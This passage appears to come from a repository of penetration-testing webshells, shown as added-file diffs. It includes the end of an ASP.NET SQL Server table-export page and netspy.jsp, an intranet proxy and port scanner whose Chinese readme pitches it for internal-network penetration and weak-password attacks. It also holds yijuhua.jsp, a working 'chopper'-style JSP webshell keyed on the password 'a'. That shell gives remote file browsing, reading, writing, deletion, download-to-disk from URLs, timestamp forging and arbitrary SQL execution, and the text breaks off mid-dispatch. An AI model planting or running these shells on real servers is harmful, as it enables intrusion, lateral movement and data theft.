+                size = int.Parse(txtNum.Text);
+                count = sum / size+1;
+            }
+            for (int z = 0; z < count; z++)
+            {
+            Button1.Text = "正在导出..";
+            Button1.Enabled = false;
+            lblInfo.Text = "正在导出第"+(z+1)+"组数据，共"+count+"组数据";
+            lblInfo.ForeColor = System.Drawing.Color.Blue;  
+                
+            System.IO.StreamWriter file = new System.IO.StreamWriter(filePath+"\\" + (z+1) +"_"+fileName, false, Encoding.UTF8);
+                
+            bool isFirst = true;
+            if (outType)
+            {
+                
+           
+            file.Write(@"<html><head><meta http-equiv=content-type content='text/html; charset=UNICODE'>
+                        <style>*{font-size:12px;}table{background:#DDD;border:solid 2px #CCC;}td{background:#FFF;}
+                        .th td{background:#EEE;font-weight:bold;height:28px;color:#008;}
+                        div{border:solid 1px #DDD;background:#FFF;padding:3px;color:#00B;}</style>
+                        <title>Export Table</title></head><body>");
+                
+            file.Write("<table border='0' cellspacing='1' cellpadding='3'>");
+                
+            }
+                
+            for (int i = size*z; i < dataTable.Rows.Count; i++)
+            {
+                System.Data.DataRow dataRow = dataTable.Rows[i];
+                if (isFirst)
+                {
+                    if ( outType)
+                    {
+                        file.Write("<tr class='th'>");
+                    }
+                    
+                    for (int j = 0; j < dataTable.Columns.Count; j++)
+                    {
+                        if (outType)
+                        {
+                            file.Write("<td>");
+                        }
+                        
+                        file.Write(dataTable.Columns[j].ColumnName + "     ");
+                        
+                        if (outType)
+                        {
+                            file.Write("</td>");
+                        }
+                    }
+                    
+                    if (outType)
+                    {
+                        file.Write("</tr>");
+                    }
+                    
+                    isFirst = false;
+                }
+              
+                if (outType)
+                {
+                    file.Write("<tr>");
+                }
+                else
+                {
+                    file.WriteLine(" ");
+                }
+              
+                for (int k = 0; k < dataTable.Columns.Count; k++)
+                {
+                    if (outType)
+                    {
+                        file.Write("<td>");
+                    }
+                    file.Write(dataTable.Rows[i][k] + "     ");
+                    if (outType)
+                    {
+                        file.Write("</td>");
+                    }
+                }
+               
+                
+                if (outType)
+                {
+                    file.Write("<tr>");
+                }
+                else
+                {
+                    file.WriteLine(" ");
+                }
+             
+                if (tmpNum==size)                
+                    break;
+                              
+                tmpNum += 1;
+               
+            }
+                
+            if (outType)
+            {
+                file.Write("</table>");
+                file.Write("<br /><div>执行成功!返回" + tmpNum + "行</div>");
+                file.Write("</body></html>");
+            }
+            else
+            {
+                file.WriteLine("执行成功!返回" + tmpNum + "行!");
+            }
+                
+            file.Dispose();
+            file.Close();
+            tmpNum = 1;
+            }
+                
+                
+            lblInfo.Text = "导出成功！";
+            lblInfo.ForeColor = System.Drawing.Color.Blue;
+            Button1.Enabled = true;
+            Button1.Text = "开始导出";
+           
+            }
+            catch (Exception ex)
+            {
+                lblInfo.Text = "导出失败！" + ex.Message;
+                lblInfo.ForeColor = System.Drawing.Color.Red;
+               
+            }finally
+            {
+                connection.Close();
+            }
+                      
+        }
+        else
+        {
+            lblInfo.Text = "请先填写相关的连接信息！";
+            lblInfo.ForeColor = System.Drawing.Color.Red;
+        }
+    }
+</script>
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head runat="server">
+    <title>无标题页</title>
+    <style type="text/css">
+        .style1
+        {
+            width: 61%;
+        }
+        .style2
+        {
+            height: 23px;
+        }
+    </style>
+</head>
+<body>
+    <form id="form1" runat="server">
+    <div>
+    
+        <table class="style1">
+            <tr>
+                <td class="style2" colspan="2" align=center>
+                    SQL Server 数据导出&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
+                    By:<a href="http://hi.baidu.com/闪电小子_tysan">闪电小子</a></td>
+               
+            </tr>
+            <tr>
+                <td>
+                    服务器IP:</td>
+                <td>
+                    <asp:TextBox ID="txtServerIP" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    数据库：</td>
+                <td>
+                    <asp:TextBox ID="txtDatabase" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    用户名：</td>
+                <td>
+                    <asp:TextBox ID="txtUser" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    密码：</td>
+                <td>
+                    <asp:TextBox ID="txtPass" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    表名：</td>
+                <td>
+                    <asp:TextBox ID="txtTableName" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+             <tr>
+                <td>
+                    列名：</td>
+                <td>
+                    <asp:TextBox ID="txtColName" runat="server" Width="172px"></asp:TextBox>
+                &nbsp; 列名之间请用‘,’分开，不写代表全部</td>
+            </tr>
+             <tr>
+                <td>
+                    分组行数：</td>
+                <td>
+                    <asp:TextBox ID="txtNum" runat="server" Width="172px"></asp:TextBox>
+                    &nbsp; 对于数据多的时候可以使用</td>
+            </tr>
+            <tr>
+                <td>
+                    保存文件名：</td>
+                <td>
+                    <asp:TextBox ID="txtFileName" runat="server" Width="172px"></asp:TextBox>
+                    *</td>
+            </tr>
+            <tr>
+                <td>
+                    文件格式：</td>
+                <td>
+                    <asp:RadioButton ID="RadioButton1" runat="server" GroupName="type" Checked="true" Text="html" />
+                    &nbsp; &nbsp; &nbsp; &nbsp;
+                    <asp:RadioButton ID="RadioButton2" runat="server" GroupName="type" Text="txt" />
+                </td>
+            </tr>
+             <tr>
+                <td class="style2" colspan="2" align="center">
+                    <asp:Button ID="Button1" runat="server" Text="开始导出" onclick="Button1_Click" />
+                 </td>
+               
+            </tr>
+            <tr>
+                <td colspan="2">
+                    <asp:Label ID="lblInfo" runat="server" Text=""></asp:Label>
+                    </td>
+                
+            </tr>
+        </table>
+    
+    </div>
+    </form>
+</body>
+</html>

jsp/netspy/netspy.jsp

@@ -0,0 +1,563 @@
+<%@page import="org.apache.commons.io.FileUtils"%>
+<%@page import="java.io.File"%>
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+<%@ page isThreadSafe="false"%>
+<%@page import="java.net.*"%>
+<%@page import="java.io.PrintWriter"%>
+<%@page import="java.io.BufferedReader"%>
+<%@page import="java.io.FileReader"%>
+<%@page import="java.io.FileWriter"%>
+<%@page import="java.io.OutputStreamWriter"%>
+<%@page import="java.util.regex.Matcher"%>
+<%@page import="java.io.IOException"%>
+<%@page import="java.net.InetAddress"%>
+<%@page import="java.util.regex.Pattern"%>
+<%@page import="java.net.HttpURLConnection"%>
+<%@page import="java.util.concurrent.LinkedBlockingQueue"%>
+
+
+<%!final static List<String> list = new ArrayList<String>();
+	String referer = "";
+	String cookie = "";
+	String decode = "utf-8";
+	int thread = 100;
+	//final static List<String> scanportlist = new ArrayList<String>();
+	String cpath="";
+
+	//建立一个HTTP连接
+	HttpURLConnection getHTTPConn(String urlString) {
+		try {
+			java.net.URL url = new java.net.URL(urlString);
+			java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url
+					.openConnection();
+			conn.setRequestMethod("GET");
+			conn.addRequestProperty("User-Agent",
+					"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon;)");
+			conn.addRequestProperty("Accept-Encoding", "gzip");
+			conn.addRequestProperty("referer", referer);
+			conn.addRequestProperty("cookie", cookie);
+			//conn.setInstanceFollowRedirects(false);
+			conn.setConnectTimeout(3000);
+			conn.setReadTimeout(3000);
+
+			return conn;
+		} catch (Exception e) {
+			return null;
+		}
+	}
+
+	String PostData(String urlString, String postString) {
+		HttpURLConnection http = null;
+		String response = null;
+		try {
+			java.net.URL url = new java.net.URL(urlString);
+			http = (HttpURLConnection) url.openConnection();
+			http.setDoInput(true);
+			http.setDoOutput(true);
+			http.setUseCaches(false);
+			http.setConnectTimeout(50000);
+			http.setReadTimeout(50000);
+			http.setRequestMethod("POST");
+			http.setRequestProperty("Content-Type",
+					"application/x-www-form-urlencoded");
+			http.connect();
+			OutputStreamWriter osw = new OutputStreamWriter(
+					http.getOutputStream(), decode);
+			osw.write(postString);
+			osw.flush();
+			osw.close();
+			response = getHtmlByInputStream(http.getInputStream(), decode);
+		} catch (Exception e) {
+			response = getHtmlByInputStream(http.getErrorStream(), decode);
+		}
+		return response;
+	}
+
+	HttpURLConnection conn;
+
+	//从输入流中读取源码
+	String getHtmlByInputStream(java.io.InputStream is, String code) {
+		StringBuffer html = new StringBuffer();
+		try {
+
+			java.io.InputStreamReader isr = new java.io.InputStreamReader(is,
+					code);
+			java.io.BufferedReader br = new java.io.BufferedReader(isr);
+			String temp;
+			while ((temp = br.readLine()) != null) {
+				if (!temp.trim().equals("")) {
+					html.append(temp).append("\n");
+				}
+			}
+			br.close();
+			isr.close();
+		} catch (Exception e) {
+			System.out.print(e.getMessage());
+		}
+
+		return html.toString();
+	}
+
+	//获取HTML源码
+	String getHtmlContext(HttpURLConnection conn, String decode,boolean isError) {
+		Map<String, Object> result = new HashMap<String, Object>();
+		String code = "utf-8";
+		if (decode != null) {
+			code = decode;
+		}
+		try {
+			return getHtmlByInputStream(conn.getInputStream(), code);
+		} catch (Exception e) {
+			try {
+			if(isError){
+			   return getHtmlByInputStream(conn.getErrorStream(), code);
+			}
+			} catch (Exception e1) {
+				System.out.println("getHtmlContext2:" + e.getMessage());
+			}
+			System.out.println("getHtmlContext:" + e.getMessage());
+			return "null";
+		}
+	}
+
+	//获取Server头
+	String getServerType(HttpURLConnection conn) {
+		try {
+			return conn.getHeaderField("Server");
+		} catch (Exception e) {
+			return "null";
+		}
+
+	}
+
+	//匹配标题
+	String getTitle(String htmlSource) {
+		try {
+			List<String> list = new ArrayList<String>();
+			String title = "";
+			Pattern pa = Pattern.compile("<title>.*?</title>");
+			Matcher ma = pa.matcher(htmlSource);
+			while (ma.find()) {
+				list.add(ma.group());
+			}
+			for (int i = 0; i < list.size(); i++) {
+				title = title + list.get(i);
+			}
+			return title.replaceAll("<.*?>", "");
+		} catch (Exception e) {
+			return null;
+		}
+	}
+
+	//得到css
+	List<String> getCss(String html, String url, String decode) {
+		List<String> cssurl = new ArrayList<String>();
+		List<String> csscode = new ArrayList<String>();
+		try {
+
+			String title = "";
+			Pattern pa = Pattern.compile(".*href=\"(.*)[.]css");
+			Matcher ma = pa.matcher(html.toLowerCase());
+			while (ma.find()) {
+				cssurl.add(ma.group(1) + ".css");
+			}
+
+			for (int i = 0; i < cssurl.size(); i++) {
+				String cssuuu = url + "/" + cssurl.get(i);
+				String csshtml = "<style>"
+						+ getHtmlContext(getHTTPConn(cssuuu), decode,false)
+						+ "</style>";
+				csscode.add(csshtml);
+
+			}
+		} catch (Exception e) {
+			System.out.println("getCss:" + e.getMessage());
+		}
+		return csscode;
+
+	}
+
+	//域名解析成IP
+	String getMyIPLocal() throws IOException {
+		InetAddress ia = InetAddress.getLocalHost();
+		return ia.getHostAddress();
+	}
+	
+	
+	
+	boolean getHostPort(String task){
+		Socket client = null;
+		boolean isOpen=false;
+		try{
+		     String[] s=task.split(":");
+	    	 client = new Socket(s[0], Integer.parseInt(s[1]));
+	  		 isOpen=true;
+	  		 System.out.println("getHostPort:"+task);
+	  		 //scanportlist.add(task+" >>> Open");
+	  		 saveScanReslt2(task+" >>> Open\r\n");
+		}catch(Exception e){
+			 isOpen=false;
+		}
+	    return isOpen;
+	}
+	
+	void getPath(String path){
+	cpath=path;
+	}
+	
+/* 	void saveScanReslt(String s){
+	try{
+	FileUtils.writeStringToFile(new File(cpath+"/port.txt"), s,"UTF-8",true);
+	}catch(Exception e){
+	System.out.print(e.getLocalizedMessage());
+	}
+	} */
+	
+	 void saveScanReslt2(String content) {   
+        FileWriter writer = null;  
+        try {     
+            writer = new FileWriter(cpath+"/port.txt", true);     
+            writer.write(content);       
+        } catch (IOException e) {     
+           System.out.print(e.getLocalizedMessage());   
+        } finally {     
+            try {     
+                if(writer != null){  
+                    writer.close();     
+                }  
+            } catch (IOException e) {     
+              System.out.print(e.getLocalizedMessage());   
+            }     
+        }   
+    }
+	
+	
+	
+	String s="Result:<br/>";
+	String readPortResult(String portfile){
+	    File file = new File(portfile);
+        BufferedReader reader = null;
+        try {
+            System.out.println("");
+            reader = new BufferedReader(new FileReader(file));
+            String tempString = null;
+            while ((tempString = reader.readLine()) != null) {
+              s+=tempString+"<br/>";
+            }
+            reader.close();
+        } catch (IOException e) {
+             return null;
+        } finally {
+            if (reader != null) {
+                try {
+                    reader.close();
+                } catch (IOException e1) {
+                return null;
+                }
+            }
+        }
+        return s;
+	}
+	
+	
+	%>
+
+
+<html>
+
+<head>
+<title>内网简单扫描脚本</title>
+</head>
+<body>
+	<script>
+		function showDiv(obj) {
+			//var statu = document.getElementById("prequest").style.display;
+			if (obj == "proxy") {
+				document.getElementById("proxy").style.display = "block";
+				document.getElementById("web").style.display = "none";
+				document.getElementById("port").style.display = "none";
+
+			} else if (obj == "web") {
+				document.getElementById("proxy").style.display = "none";
+				document.getElementById("web").style.display = "block";
+				document.getElementById("port").style.display = "none";
+
+			} else if (obj == "port") {
+				document.getElementById("proxy").style.display = "none";
+				document.getElementById("web").style.display = "none";
+				document.getElementById("port").style.display = "block";
+
+			}
+		}
+	</script>
+	<p>
+		<a href="javascript:void(0);" onclick="showDiv('proxy');"
+			style="margin-left: 32px;">代理访问</a> <a href="javascript:void(0);"
+			onclick="showDiv('web');" style="margin-left: 32px;">Web扫描</a> <a
+			href="javascript:void(0);" onclick="showDiv('port');"
+			style="margin-left: 32px;">端口扫描</a>
+	</p>
+
+	<div id="proxy"
+		style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%;display:block;">
+		<form action="" method="POST" style="margin-left: 50px;">
+			<p>
+				Url：<input name="url" value="http://127.0.0.1:8080"
+					style="width: 380px;" />
+			</p>
+			<p>
+				Method:<select name="method">
+					<option value="GET">GET</option>
+					<option value="POST">POST</option>
+				</select> Decode:<select name="decode">
+					<option value="utf-8">utf-8</option>
+					<option value="gbk">gbk</option>
+				</select>
+			</p>
+			<p>
+				<textarea name="post" cols=40 rows=4>username=admin&password=admin</textarea>
+				<textarea name="post" cols=40 rows=4>SESSION:d89de9c2b4e2395ee786f1185df21f2c51438059222</textarea>
+
+			</p>
+			<p>
+				Referer:<input name="referer" value="http://www.baidu.com"
+					style="width: 380px;" />
+			</p>
+			<p></p>
+
+			<p>
+				<input type="submit" value="Request" />
+			</p>
+		</form>
+	</div>
+
+	<div id="web"
+		style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%; display:none;">
+		<form action="" method="POST" style="margin-left: 50px;">
+			<p>
+				IP:<input name="ip" value="127.0.0.1">
+			</p>
+			<p>
+				Port:<input name="port" value="80,8080,8081,8088">
+			</p>
+			<input type="submit" value="Scan">
+		</form>
+	</div>
+
+	<div id="port"
+		style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%; display:none;">
+		<form action="" method="POST" style="margin-left: 50px;">
+			<p>
+				IP:<input name="scanip" value="192.168.12.1">-<input
+					name="scanip2" value="192.168.12.10">
+			</p>
+			<p>
+				Port:<input name="scanport"
+					value="21,80,135,443,1433,1521,3306,3389,8080,27017"
+					style="width: 300px;">
+			</p>
+			<p>
+				Thread:<input name="thread" value="100" style="width: 30px;">
+			</p>
+			<input type="submit" value="Scan">
+		</form>
+	</div>
+
+	<br />
+</body>
+</html>
+<%
+	final JspWriter pwx = out;
+	String s = application.getRealPath("/") + "/port.txt";
+	String result = readPortResult(s);
+	if (result != null) {
+		try {
+			pwx.println(result);
+		} catch (Exception e) {
+			System.out.print(e.getMessage());
+		}
+	}else{
+       pwx.println("如果你进行了端口扫描操作，那么这里将会显示扫描结果！<br/>");
+	}
+	String div1 = "<div style=\"border:1px solid #999;padding:3px;margin-left:30px;width:95%;height:90%;\">";
+	String div2 = "</div>";
+
+	String u = request.getParameter("url");
+	String ip = request.getParameter("ip");
+	String scanip = request.getParameter("scanip");
+
+	if (u != null) {
+
+		String post = request.getParameter("post");
+		System.out.print(u);
+		System.out.print(post);
+		decode = request.getParameter("decode");
+		String ref = request.getParameter("referer");
+		String cook = request.getParameter("cookie");
+
+		if (ref != null) {
+			referer = ref;
+		}
+		if (cook != null) {
+			cookie = cook;
+		}
+
+		String html = null;
+
+		if (post != null) {
+			html = PostData(u, post);
+		} else {
+			html = getHtmlContext(getHTTPConn(u), decode, true);
+		}
+
+		String reaplce = "href=\"http://127.0.0.1:8080/Jwebinfo/out.jsp?url=";
+		//html=html.replaceAll("href=['|\"]?http://(.*)['|\"]?", reaplce+"http://$1\"");
+		html = html.replaceAll("href=['|\"]?(?!http)(.*)['|\"]?",
+				reaplce + u + "$1");
+		List<String> css = getCss(html, u, decode);
+		String csshtml = "";
+		if (!html.equals("null")) {
+			for (int i = 0; i < css.size(); i++) {
+				csshtml += css.get(i);
+			}
+			out.print(div1 + html + csshtml + div2);
+		} else {
+			response.setStatus(HttpServletResponse.SC_NOT_FOUND);
+			out.print("请求失败！");
+		}
+		return;
+	}
+
+	else if (ip != null) {
+		String threadpp = (request.getParameter("thread"));
+		String[] port = request.getParameter("port").split(",");
+
+		if (threadpp != null) {
+			thread = Integer.parseInt(threadpp);
+			System.out.println(threadpp);
+		}
+		try {
+			try {
+				String http = "http://";
+				String localIP = getMyIPLocal();
+				if (ip != null) {
+					localIP = ip;
+				}
+				String useIP = localIP.substring(0,
+						localIP.lastIndexOf(".") + 1);
+				final Queue<String> queue = new LinkedBlockingQueue<String>();
+				for (int i = 1; i <= 256; i++) {
+					for (int j = 0; j < port.length; j++) {
+						String url = http + useIP + i + ":" + port[j];
+						queue.offer(url);
+						System.out.print(url);
+					}
+
+				}
+				final JspWriter pw = out;
+				ThreadGroup tg = new ThreadGroup("c");
+				for (int i = 0; i < thread; i++) {
+					new Thread(tg, new Runnable() {
+						public void run() {
+							while (true) {
+								String addr = queue.poll();
+								if (addr != null) {
+									System.out.println(addr);
+									HttpURLConnection conn = getHTTPConn(addr);
+									String html = getHtmlContext(conn,
+											decode, false);
+									String title = getTitle(html);
+									String serverType = getServerType(conn);
+									String status = !html
+											.equals("null") ? "Success"
+											: "Fail";
+									if (html != null
+											&& !status.equals("Fail")) {
+										try {
+											pw.println(addr + "  >>  "
+													+ title + ">>"
+													+ serverType
+													+ " >>" + status
+													+ "<br/>");
+										} catch (Exception e) {
+											e.printStackTrace();
+										}
+									}
+								} else {
+									return;
+								}
+							}
+						}
+					}).start();
+				}
+				while (tg.activeCount() != 0) {
+				}
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		} catch (Exception e) {
+			out.println(e.toString());
+		}
+	} else if (scanip != null) {
+		getPath(application.getRealPath("/"));
+		int thread = Integer.parseInt(request.getParameter("thread"));
+		String[] port = request.getParameter("scanport").split(",");
+		String ip1 = scanip;
+		String ip2 = request.getParameter("scanip2");
+
+		int start = Integer.parseInt(ip1.substring(
+				ip1.lastIndexOf(".") + 1, ip1.length()));
+		int end = Integer.parseInt(ip2.substring(
+				ip2.lastIndexOf(".") + 1, ip2.length()));
+
+		String useIp = scanip.substring(0, scanip.lastIndexOf(".") + 1);
+
+		System.out.println("start:" + start);
+		System.out.println("end:" + end);
+
+		final Queue<String> queue = new LinkedBlockingQueue<String>();
+		for (int i = start; i <= end; i++) {
+			for (int j = 0; j < port.length; j++) {
+				String scantarget = useIp + i + ":" + port[j];
+				queue.offer(scantarget);
+				//System.out.println(scantarget);
+			}
+
+		}
+		System.out.print("Count1:" + queue.size());
+		final JspWriter pw = out;
+		ThreadGroup tg = new ThreadGroup("c");
+		for (int i = 0; i < thread; i++) {
+			new Thread(tg, new Runnable() {
+				public void run() {
+					while (true) {
+						String scantask = queue.poll();
+						if (scantask != null) {
+							getHostPort(scantask);
+							/* String result = null;
+							if(isOpen){
+							result=scantask+ " >>> Open<br/>";
+							scanportlist.add(result);
+							System.out.println(result);
+							} */
+
+							/* try {
+							pw.println(result);
+							} catch (Exception e) {
+							System.out.print(e.getMessage());
+							} */
+						}
+					}
+				}
+			}).start();
+
+		}
+		/* while (tg.activeCount() != 0) {
+		} */
+		try {
+			pw.println("扫描线程已经开始，请查看" + cpath+"/port.txt文件或者直接刷新本页面！");
+		} catch (Exception e) {
+			System.out.print(e.getMessage());
+		}
+	}
+%>

jsp/netspy/readme.md

@@ -0,0 +1,14 @@
+之前是使用的参数模式，现在搞了一个简单的UI。 
+
+前言： 
+某些情况下，内网渗透时，代理出不来，工具传上去被杀，总之就是遇到各种问题。而最过纠结的时，我已经知道内网哪台机器有洞了..（经验多的大神飘过，如果能解决某些内网渗透时遇到的坑的问题，求分享解决方法..） 
+
+功能： 
+代理访问虽然是个简单的功能，但是我觉得够用了。完全可以用来直接扫描内网其他web服务器的目录，尝试内网其其他登陆入口的弱口令，或者直接代理打struts或者其他漏洞。 
+
+web扫描： 
+其实我觉得用web发现更加贴切，其实有了端口扫描为啥还要这个.(因为之前的代码不想动它了。) 
+
+
+端口扫描： 
+大家都懂。（此功能问题较多，我觉得如果能使用工具或者代理回来就尽量不使用此脚本进行扫描。）

jsp/yijuhua.jsp

@@ -0,0 +1,288 @@
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
+<%!
+	String Pwd = "a";
+	String cs = "UTF-8";
+	String EC(String s) throws Exception {
+		return new String(s.getBytes("ISO-8859-1"),cs);
+	}
+	Connection GC(String s) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Class.forName(x[0].trim());
+		if(x[1].indexOf("jdbc:oracle")!=-1){
+			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+		}else{
+			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+			if (x.length > 4) {
+				c.setCatalog(x[4]);
+			}
+			return c;
+		}
+	}
+	void AA(StringBuffer sb) throws Exception {
+		File r[] = File.listRoots();
+		for (int i = 0; i < r.length; i++) {
+			sb.append(r[i].toString().substring(0, 2));
+		}
+	}
+	void BB(String s, StringBuffer sb) throws Exception {
+		File oF = new File(s), l[] = oF.listFiles();
+		String sT, sQ, sF = "";
+		java.util.Date dt;
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		for (int i = 0; i < l.length; i++) {
+			dt = new java.util.Date(l[i].lastModified());
+			sT = fm.format(dt);
+			sQ = l[i].canRead() ? "R" : "";
+			sQ += l[i].canWrite() ? " W" : "";
+			if (l[i].isDirectory()) {
+				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
+			} else {
+				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
+			}
+		}
+		sb.append(sF);
+	}
+	void EE(String s) throws Exception {
+		File f = new File(s);
+		if (f.isDirectory()) {
+			File x[] = f.listFiles();
+			for (int k = 0; k < x.length; k++) {
+				if (!x[k].delete()) {
+					EE(x[k].getPath());
+				}
+			}
+		}
+		f.delete();
+	}
+	void FF(String s, HttpServletResponse r) throws Exception {
+		int n;
+		byte[] b = new byte[512];
+		r.reset();
+		ServletOutputStream os = r.getOutputStream();
+		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
+		os.write(("->" + "|").getBytes(), 0, 3);
+		while ((n = is.read(b, 0, 512)) != -1) {
+			os.write(b, 0, n);
+		}
+		os.write(("|" + "<-").getBytes(), 0, 3);
+		os.close();
+		is.close();
+	}
+	void GG(String s, String d) throws Exception {
+		String h = "0123456789ABCDEF";
+		File f = new File(s);
+		f.createNewFile();
+		FileOutputStream os = new FileOutputStream(f);
+		for (int i = 0; i < d.length(); i += 2) {
+			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
+		}
+		os.close();
+	}
+	void HH(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		if (sf.isDirectory()) {
+			if (!df.exists()) {
+				df.mkdir();
+			}
+			File z[] = sf.listFiles();
+			for (int j = 0; j < z.length; j++) {
+				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
+			}
+		} else {
+			FileInputStream is = new FileInputStream(sf);
+			FileOutputStream os = new FileOutputStream(df);
+			int n;
+			byte[] b = new byte[512];
+			while ((n = is.read(b, 0, 512)) != -1) {
+				os.write(b, 0, n);
+			}
+			is.close();
+			os.close();
+		}
+	}
+	void II(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		sf.renameTo(df);
+	}
+	void JJ(String s) throws Exception {
+		File f = new File(s);
+		f.mkdir();
+	}
+	void KK(String s, String t) throws Exception {
+		File f = new File(s);
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		java.util.Date dt = fm.parse(t);
+		f.setLastModified(dt.getTime());
+	}
+	void LL(String s, String d) throws Exception {
+		URL u = new URL(s);
+		int n = 0;
+		FileOutputStream os = new FileOutputStream(d);
+		HttpURLConnection h = (HttpURLConnection) u.openConnection();
+		InputStream is = h.getInputStream();
+		byte[] b = new byte[512];
+		while ((n = is.read(b)) != -1) {
+			os.write(b, 0, n);
+		}
+		os.close();
+		is.close();
+		h.disconnect();
+	}
+	void MM(InputStream is, StringBuffer sb) throws Exception {
+		String l;
+		BufferedReader br = new BufferedReader(new InputStreamReader(is));
+		while ((l = br.readLine()) != null) {
+			sb.append(l + "\r\n");
+		}
+	}
+	void NN(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
+		while (r.next()) {
+			sb.append(r.getString(1) + "\t");
+		}
+		r.close();
+		c.close();
+	}
+	void OO(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		String[] x = s.trim().split("\r\n");
+		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
+		while (r.next()) {
+			sb.append(r.getString("TABLE_NAME") + "\t");
+		}
+		r.close();
+		c.close();
+	}
+	void PP(String s, StringBuffer sb) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1007);
+		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
+		ResultSetMetaData d = r.getMetaData();
+		for (int i = 1; i <= d.getColumnCount(); i++) {
+			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
+		}
+		r.close();
+		m.close();
+		c.close();
+	}
+	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1008);
+		BufferedWriter bw = null;
+		try {
+			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
+			ResultSetMetaData d = r.getMetaData();
+			int n = d.getColumnCount();
+			for (int i = 1; i <= n; i++) {
+				sb.append(d.getColumnName(i) + "\t|\t");
+			}
+			sb.append("\r\n");
+			if(q.indexOf("--f:")!=-1){
+				File file = new File(p);
+				if(q.indexOf("-to:")==-1){
+					file.mkdir();
+				}
+				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
+			}
+			while (r.next()) {
+				for (int i = 1; i <= n; i++) {
+					if(q.indexOf("--f:")!=-1){
+						bw.write(r.getObject(i)+""+"\t");
+						bw.flush();
+					}else{
+						sb.append(r.getObject(i)+"" + "\t|\t");
+					}
+				}
+				if(bw!=null){bw.newLine();}
+				sb.append("\r\n");
+			}
+			r.close();
+			if(bw!=null){bw.close();}
+		} catch (Exception e) {
+			sb.append("Result\t|\t\r\n");
+			try {
+				m.executeUpdate(q);
+				sb.append("Execute Successfully!\t|\t\r\n");
+			} catch (Exception ee) {
+				sb.append(ee.toString() + "\t|\t\r\n");
+			}
+		}
+		m.close();
+		c.close();
+	}
+%>
+<%
+	cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
+	response.setContentType("text/html");
+	response.setCharacterEncoding(cs);
+	StringBuffer sb = new StringBuffer("");
+	try {
+		String Z = EC(request.getParameter(Pwd) + "");
+		String z1 = EC(request.getParameter("z1") + "");
+		String z2 = EC(request.getParameter("z2") + "");
+		sb.append("->" + "|");
+		String s = request.getSession().getServletContext().getRealPath("/");
+		if (Z.equals("A")) {
+			sb.append(s + "\t");
+			if (!s.substring(0, 1).equals("/")) {
+				AA(sb);
+			}
+		} else if (Z.equals("B")) {
+			BB(z1, sb);
+		} else if (Z.equals("C")) {
+			String l = "";
+			BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
+			while ((l = br.readLine()) != null) {
+				sb.append(l + "\r\n");
+			}
+			br.close();
+		} else if (Z.equals("D")) {
+			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
+			bw.write(z2);
+			bw.close();
+			sb.append("1");
+		} else if (Z.equals("E")) {
+			EE(z1);
+			sb.append("1");
+		} else if (Z.equals("F")) {
+			FF(z1, response);
+		} else if (Z.equals("G")) {
+			GG(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("H")) {
+			HH(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("I")) {
+			II(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("J")) {
+			JJ(z1);
+			sb.append("1");
+		} else if (Z.equals("K")) {
+			KK(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("L")) {
+			LL(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("M")) {
